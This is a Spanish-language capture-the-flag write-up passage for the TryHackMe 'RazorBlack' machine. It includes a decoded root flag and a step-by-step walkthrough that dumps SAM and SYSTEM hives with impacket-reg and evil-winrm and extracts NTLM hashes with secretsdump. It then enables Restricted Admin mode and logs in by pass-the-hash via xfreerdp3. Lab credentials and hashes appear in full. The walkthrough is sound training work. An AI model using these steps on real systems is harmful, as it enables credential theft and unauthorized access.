└─# echo -n "44616d6e20796f752061726520612067656e6975732e0a4275742c20492061706f6c6f67697a6520666f72206368656174696e6720796f75206c696b6520746869732e0a0a4865726520697320796f757220526f6f7420466c61670a54484d7b31623466343663633466626134363334383237336431386463393164613230647d0a0a546167206d65206f6e2068747470733a2f2f747769747465722e636f6d2f5879616e3164332061626f75742077686174207061727420796f7520656e6a6f796564206f6e207468697320626f7820616e642077686174207061727420796f75207374727567676c656420776974682e0a0a496620796f7520656e6a6f796564207468697320626f7820796f75206d617920616c736f2074616b652061206c6f6f6b20617420746865206c696e75786167656e637920726f6f6d20696e207472796861636b6d652e0a576869636820636f6e7461696e7320736f6d65206c696e75782066756e64616d656e74616c7320616e642070726976696c65676520657363616c6174696f6e2068747470733a2f2f7472796861636b6d652e636f6d2f726f6f6d2f6c696e75786167656e63792e0a" | xxd -r -p
Damn you are a genius.
But, I apologize for cheating you like this.
Here is your Root Flag
THM{1b4f46cc4fba46348273d18dc91da20d}
Tag me on https://twitter.com/Xyan1d3 about what part you enjoyed on this box and what part you struggled with.
If you enjoyed this box you may also take a look at the linuxagency room in tryhackme.
Which contains some linux fundamentals and privilege escalation https://tryhackme.com/room/linuxagency.
Bonus track: Extracción de hashes NTLM con impacket-reg
La segunda opción para extraer los hashes NTLM es usando impacket-reg, el procedimiento es el mismo, nos conectamos con las credenciales del usuario xyan1d3
y tenemos que crear el directorio /temp
donde impacket-reg volcara los archivos SAM
y SYSTEM
que luego descargáremos en nuestro kali
┌──(root㉿kali)-[/home/kali]
└─# evil-winrm -u xyan1d3 -p cyanide9amine5628 -i 10.10.18.11
*Evil-WinRM* PS C:\Users\xyan1d3\Documents> cd /
*Evil-WinRM* PS C:\> mkdir temp
*Evil-WinRM* PS C:\> cd temp
┌──(root㉿kali)-[/home/kali/Documents/THM]
└─# impacket-reg 'raz0rblack.thm/xyan1d3:cyanide9amine5628'@10.10.18.11 backup -o 'C:\temp'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to C:\temp\SAM.save
[*] Saved HKLM\SYSTEM to C:\temp\SYSTEM.save
[*] Saved HKLM\SECURITY to C:\temp\SECURITY.save
Una vez que impacket-reg copia y guarda los archivos SAM
y SYSTEM
los podemos listar en la sesión de EvilWinRM y descargarlos con download
*Evil-WinRM* PS C:\temp> dir
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/4/2025 9:22 PM 28672 SAM.save
-a---- 6/4/2025 9:22 PM 32768 SECURITY.save
-a---- 6/4/2025 9:22 PM 17248256 SYSTEM.save
*Evil-WinRM* PS C:\temp> download SAM.save
Info: Downloading C:\temp\SAM.save to SAM.save
Info: Download successful!
*Evil-WinRM* PS C:\temp> download SYSTEM.save
Info: Downloading C:\temp\SYSTEM.save to SYSTEM.save
Info: Download successful!
Y la extraccion la hacemos con impacket-secretsdump
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# impacket-secretsdump -sam SAM.save -system SYSTEM.save LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xf1582a79dd00631b701d3d15e75e59f6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9689931bed40ca5a2ce1218210177f0c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
Pass the hash con xfreerdp3
Las últimas flags las vamos a buscar desde powershell conectándonos por RDP. Aprovechando que tenemos acceso a la cuenta del Administrator
vamos a habilitar la conexión por RDP desde EvilWinRM con el siguiente comando:
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'DisableRestrictedAdmin' -PropertyType 'DWORD' -Value '0' -Force
Este comando modifica el registro de Windows para crear o actualizar una clave que controla el comportamiento del modo "Restricted Admin" (Administrador Restringido) en RDP (Remote Desktop Protocol).
New-ItemProperty
: crea una nueva entrada de registro o modifica una existente.-Path 'HKLM:\System\CurrentControlSet\Control\Lsa'
: apunta a una clave crítica del sistema bajo Local Security Authority (LSA).-Name 'DisableRestrictedAdmin'
: define el nombre del valor de la clave.-PropertyType 'DWORD'
: establece el tipo de dato (número de 32 bits).-Value '0'
: fija el valor de esa clave en0
, lo que habilita el uso del modo Restricted Admin.-Force
: sobrescribe el valor si ya existe.
El modo Restricted Admin permite a un usuario conectarse vía RDP sin enviar sus credenciales reales al sistema remoto. Activarlo permite a herramientas como mimikatz
o secretsdump
usar hashes NTLM válidos para autenticación remota (Pass-the-Hash), sin requerir la contraseña en texto claro.
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# evil-winrm -u Administrator -H 9689931bed40ca5a2ce1218210177f0c -i 10.10.69.224
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -name 'DisableRestrictedAdmin' -PropertyType 'DWORD' -value '0' -force
DisableRestrictedAdmin : 0
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control
PSChildName : Lsa
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
Ahora le pasamos las credenciales a xfreerdp3 y nos conectamos
┌──(root㉿kali)-[/home/kali/Documents/THM/RAZORBLACK]
└─# xfreerdp3 /v:10.10.69.224 /u:Administrator /pth:9689931bed40ca5a2ce1218210177f0c
[01:06:49:835] [95663:000175b0] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x08 -> no RDP scancode found
[01:06:49:835] [95663:000175b0] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]: : keycode: 0x5D -> no RDP scancode found
[01:06:51:623] [95663:000175b0] [WARN][com.freerdp.crypto] - [verify_cb]: Certificate verification failure 'self-signed certificate (18)' at stack position 0
Bingo! ( ͡• ͜ʖ ͡•)

Last updated